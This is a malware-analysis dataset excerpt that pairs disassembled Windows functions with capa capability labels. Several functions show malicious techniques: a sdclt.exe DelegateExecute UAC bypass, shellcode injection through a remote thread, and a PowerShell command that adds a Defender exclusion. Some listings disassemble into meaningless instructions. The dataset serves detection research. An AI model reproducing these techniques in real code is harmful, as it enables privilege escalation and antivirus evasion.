joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011ab9
Capabilities:
Create process on windows
Delete registry key
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push esi
push edi
call fcn.1000fbfc
cmp eax, 1
je 0x10011bf2
push dword [0x100198b8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 4], edi
je 0x10011b01
lea ecx, [ebp - 8]
call fcn.1000f7e0
call fcn.100118ba
mov esi, 0x400
lea eax, [ebp - 0x64c]
push esi
push edi
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x64c]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x64c]
mov esi, 0x10016056
push eax
push esi
call fcn.10011855
push esi
push str.DelegateExecute
call fcn.10011855
add esp, 0x10
lea eax, [ebp - 0x24c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._sdclt.exe
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
push edi
push edi
lea eax, [ebp - 0x24c]
mov esi, 0x10014688
push eax
push esi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
movaps xmm0, xmmword [0x10017570]
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
movups xmmword [ebp - 0x30], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 4], edi
je 0x10011bd0
lea ecx, [ebp - 8]
call fcn.1000f7b9
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x10011bf8
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, dword [ebp + 8]
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x10011c39
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x10011c16
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x10011c5f
sub eax, 1
je 0x10011c56
sub eax, 1
jne 0x10011c75
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret
Function at 0x10011d35
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10011d73
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10011d78
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10011db6
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10011e21
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x400000
mov edi, edx
mov esi, ecx
call fcn.10001085
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10011e5e
and dword [edi], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10011e7e
and dword [edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x10011e8c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x10011eb6
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x10011ed8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, edx
mov edi, ecx
call fcn.10001133
xor esi, esi
mov dword [ebp - 4], eax
pop ecx
test ebx, ebx
jle 0x10011f09
mov ecx, dword [ebp + 8]
mov eax, esi
cdq
idiv dword [ebp - 4]
mov al, byte [edx + ecx]
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x10011ef8
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10011f13
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x10011fd3
cmp dword [ebp - 4], ebx
je 0x10011fc3
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push 0x1001493c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.1000102c
add esp, 0xc
lea eax, [ebp - 0x60]
push 0x44
push ebx
push eax
call fcn.10001052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10011fd3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
jmp 0x10011fce
call fcn.100120b8
test eax, eax
je 0x10011fd3
mov edx, eax
call fcn.10011fd8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10011fd8
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 0xff
mov dword [ebp - 0x10c], eax
push ebx
call fcn.10001085
pop ecx
push ebx
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10001172
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
pop ecx
pop ecx
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push 0x10019158
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 4]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x103
push eax
push esi
push dword [ebp - 4]
call edi
xor ecx, ecx
lea eax, [ebx + 0x10e]
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov dword [0x1014cbec], eax
pop ebx
leave
ret
Function at 0x100120b8
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, 0x128
mov esi, eax
push edi
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.10001052
add esp, 0xc
mov dword [ebp - 0x128], edi
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x10012121
lea eax, [ebp - 0x104]
push 0x10017370
push eax
call fcn.10001144
pop ecx
pop ecx
test eax, eax
je 0x10012132
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100120fc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x120]
jmp 0x1001212e

Function at 0x10012447
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x10014590
push 1
push edi
push 0x100145e0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x100124df
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x100145d0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x100124cf
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
jmp 0x100124ab
mov ecx, dword [ebp - 0xc]
inc esi
test ecx, ecx
je 0x100124ab
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edi
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1001249a
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x100124cf
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov edx, dword [ebp - 8]
test edx, edx
je 0x100124df
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x1001290f
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x18], ecx
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
push 0x100173f0
push 1
push edi
push 0x100145e0
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x10012a66
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x100145d0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x10012a66
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov ebx, edi
jmp 0x10012a22
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
push edx
push 0x10014560
push edi
lea eax, [eax + ebx*4]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
test eax, eax
jne 0x10012a40
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push str.Description
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100129ce
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10012a40
push 0x1c
pop ecx
call fcn.10005f53
test eax, eax
je 0x100129e5
mov ecx, eax
call fcn.10012bc7
mov edx, eax
jmp 0x100129e7
mov edx, edi
mov esi, dword [ebp - 0x20]
movzx eax, word [esi]
test ax, ax
je 0x10012a10
mov ecx, eax
mov eax, dword [edx + 4]
mov word [eax + edi*2], cx
mov ecx, dword [edx]
mov al, byte [esi]
lea esi, [esi + 2]
mov byte [edi + ecx], al
inc edi
movzx eax, word [esi]
mov ecx, eax
test ax, ax
jne 0x100129f4
mov ecx, dword [ebp - 0x18]
push edx
mov dword [edx + 8], ebx
lea ecx, [ecx + 4]
call fcn.10002481
inc ebx
xor edi, edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10012977
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x10012a50
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x10012a60
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10012a6b
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.10012447
xor ecx, ecx
cmp eax, ebx
lea eax, [ebp - 0x10]
push eax
push 0x100173f0
cmovb ebx, ecx
xor esi, esi
push 1
push esi
push 0x100145e0
mov dword [edi], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10012b25
mov eax, dword [ecx]
lea edx, [ebp - 4]
push esi
push edx
push 0x100145d0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x10012b25
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
and dword [ebp - 8], esi
jmp 0x10012af0
mov eax, dword [ebp - 0xc]
push edi
push 0x10014580
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x20]
cmp dword [edi], 0
je 0x10012aec
cmp esi, ebx
je 0x10012b07
mov ecx, edi
inc esi
call fcn.100024e0
and dword [ebp - 8], 0
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10012ac8
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x10012b18
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10012b25
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10012fd7
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, pe_nt_image_headers32
push ebx
call fcn.10001085
push ebx
mov esi, eax
call fcn.10001085
push ebx
push 0
push esi
mov edi, eax
call fcn.10001052
push ebx
push 0
push edi
call fcn.10001052
add esp, 0x20
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, str.powershell_Add_MpPreference__ExclusionPath
push ebx
call fcn.10001133
push eax
push ebx
push edi
call fcn.1000102c
push 3
lea eax, [edi + 0x2b]
push esi
push eax
call fcn.1000102c
add esp, 0x1c
lea eax, [esi + 0xff]
push 1
push eax
push edi
call fcn.10001133
pop ecx
add eax, edi
push eax
call fcn.1000102c
add esp, 0xc
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
ret

Function at 0x10013058
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10013073
xor eax, eax
push eax
push eax
push eax
push 0x10005ce2
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x67343558
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
lea eax, [ebp - 0x198]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sub.WS2_32.dll_WSAStartup
sub esp, 8
test eax, eax
jne 0x67343594
mov eax, dword [ebp - 0x198]
cmp al, 2
je 0x6734359c
call sub.WS2_32.dll_WSACleanup
mov eax, 2
leave
ret
mov eax, 2
leave
ret
shr ax, 8
cmp al, 2
jne 0x67343588
xor eax, eax
leave
ret
Function at 0x673459ec
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x13c
mov ebx, dword [ebp + 8]
mov esi, dword [ebx]
cmp byte [ebx + 0x12d], 0
je 0x67345a10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
mov dword [ebp - 0x1c], pe_nt_image_headers32
lea edi, [ebp - 0xa0]
lea edx, [ebp - 0x1c]
mov dword [esp + 8], edx
mov dword [esp + 4], edi
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov dword [ebp - 0x12c], edx
call sub.WS2_32.dll_getpeername
sub esp, 0xc
test eax, eax
mov edx, dword [ebp - 0x12c]
jne 0x67345b0c
mov dword [ebp - 0x1c], pe_nt_image_headers32
mov dword [esp + 8], edx
lea eax, [ebp - 0x120]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_getsockname
sub esp, 0xc
test eax, eax
jne 0x67345adc
lea ecx, [esi + 0x8664]
lea edx, [esi + 0x8634]
mov eax, edi
call fcn.67345790
test al, al
je 0x67345b40
lea ecx, [esi + 0x8698]
lea edx, [esi + 0x8668]
lea eax, [ebp - 0x120]
call fcn.67345790
test al, al
jne 0x67345a06
call sub.KERNEL32.dll_GetLastError
mov edi, eax
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.673534dc
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], str.ssloc_inet_ntop___failed_with_errno__d:__s
mov dword [esp], esi
call fcn.67346d80
jmp 0x67345a06
call sub.WS2_32.dll_WSAGetLastError
mov edi, eax
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.673534dc
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], str.getsockname___failed_with_errno__d:__s
mov dword [esp], esi
call fcn.67346d80
jmp 0x67345a06
call sub.WS2_32.dll_WSAGetLastError
mov edi, eax
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.673534dc
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], str.getpeername___failed_with_errno__d:__s
mov dword [esp], esi
call fcn.67346d80
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
call sub.KERNEL32.dll_GetLastError
mov edi, eax
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.673534dc
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], str.ssrem_inet_ntop___failed_with_errno__d:__s
mov dword [esp], esi
call fcn.67346d80
jmp 0x67345a06

Function at 0x67345b70
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [ebp + 8]
mov dword [ebp - 0xc], 0x4020
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 4
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1001
mov dword [esp + 4], 0xffff
mov dword [esp], ebx
call sub.WS2_32.dll_getsockopt
sub esp, 0x14
test eax, eax
jne 0x67345bc4
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x10], eax
jg 0x67345bee
mov dword [esp + 0x10], 4
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1001
mov dword [esp + 4], 0xffff
mov dword [esp], ebx
call sub.WS2_32.dll_setsockopt
sub esp, 0x14
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x406632
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp ebp, dword [esi + 0xf4ca9bf]
xor byte [ebx + 0xfe95b], 0
add dh, cl
mov ebp, 0xa308ad
test eax, 0x559df6d5
adc al, 0x3b
pop edi
aad 0x5b
in eax, 0xff
loopne 0x4065c6

Function at 0x40a3d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x28]
mov eax, dword [edx]
adc al, 0x85
sal byte [ebx + esi - 3], 0xf8
or al, 0x19
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
sbb dword [eax - 1], edx
adc eax, sym.imp.KERNEL32.dll_TerminateProcess
test eax, eax
jne 0x40a3e0
push esi
fnsave dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
invalid
jne 0x40a3fe
pop esi
call esi
add eax, 0xafc80
pop esi
pop ebp
ret 8
Function at 0x401120
Capabilities:
Read file on windows

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push 0
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401157
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x26
pop esi
neg eax
sbb eax, eax
add eax, 0x40000002
ret 0xc
mov eax, dword [esp + 0x10]
cmp eax, 0xffffffff
jne 0x401169
mov eax, 0x40000001
pop esi
ret 0xc
sub eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0x40000002
ret 0xc

Function at 0x401180
Capabilities:
Read file on windows

Disassembly:
push ecx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
lea eax, [esp]
push 0
push eax
mov eax, dword [esp + 0x10]
push ecx
push edx
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4011b0
or eax, 0xffffffff
pop ecx
ret 0xc
mov eax, dword [esp]
pop ecx
ret 0xc

Function at 0x4012d0
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push 0
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401307
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x70
pop esi
neg eax
sbb eax, eax
add eax, 0x40000004
ret 0xc
mov eax, dword [esp + 0x10]
sub eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0x40000004
ret 0xc
Function at 0x405e00
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
xor edi, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405e13
sub ecx, edx
sar ecx, 1
push 2
lea eax, [ecx + 4]
push eax
call fcn.00411730
mov ebx, eax
add esp, 8
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x405ed2
mov ecx, ebx
sub ecx, esi
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx + esi - 2], ax
test ax, ax
jne 0x405e41
push 0x5c
push ebx
call fcn.00408181
add esp, 8
test eax, eax
je 0x405e66
xor ecx, ecx
mov word [eax + 2], cx
cmp word [ebx], 0x5c
jne 0x405e8f
cmp word [ebx + 2], 0x5c
jne 0x405e8f
lea eax, [ebx + 4]
push 0x5c
push eax
call fcn.004080ba
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x405eb2
push 0x5c
lea eax, [ebx + 2]
push eax
jmp 0x405ea8
cmp word [ebx + 2], 0x3a
jne 0x405ea5
cmp word [ebx + 4], 0x5c
jne 0x405ea5
push 0x5c
lea eax, [ebx + 6]
push eax
jmp 0x405ea8
push 0x5c
push ebx
call fcn.004080ba
add esp, 8
mov ebx, eax
push 2
push 0x104
call fcn.00411730
mov esi, eax
add esp, 8
test esi, esi
jne 0x405edc
push dword [ebp - 4]
call fcn.0041173b
add esp, 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
test ebx, ebx
je 0x405f49
mov eax, ebx
sub eax, ecx
sar eax, 1
push eax
push ecx
push esi
call fcn.0041130c
push esi
call fcn.00411b2d
add esp, 0x10
test eax, eax
je 0x405f25
push esi
call fcn.00411b38
add esp, 4
test eax, eax
je 0x405f12
mov edi, 1
jmp 0x405f25
push esi
call fcn.00411b2d
add esp, 4
test eax, eax
mov eax, 1
cmovne edi, eax
lea eax, [ebx + 2]
mov dword [ebp - 8], ebx
push 0x5c
push eax
call fcn.004080ba
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x405fbc
mov ecx, dword [ebp - 8]
test edi, edi
je 0x405ee3
jmp 0x405fbc
mov edx, esi
sub edx, dword [ebp - 4]
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x405f50
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405f65
sub ecx, edx
sar ecx, 1
cmp ecx, 3
jbe 0x405f88
cmp word [esi + ecx*2 - 2], 0x5c
jne 0x405f88
xor eax, eax
mov word [esi + ecx*2 - 2], ax
push esi
call fcn.00411b2d
add esp, 4
test eax, eax
je 0x405fbc
push esi
call fcn.00411b38
add esp, 4
test eax, eax
je 0x405fa9
mov edi, 1
jmp 0x405fbc
push esi
call fcn.00411b2d
add esp, 4
mov ecx, 1
test eax, eax
cmovne edi, ecx
push esi
call fcn.0041173b
push dword [ebp - 4]
call fcn.0041173b
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret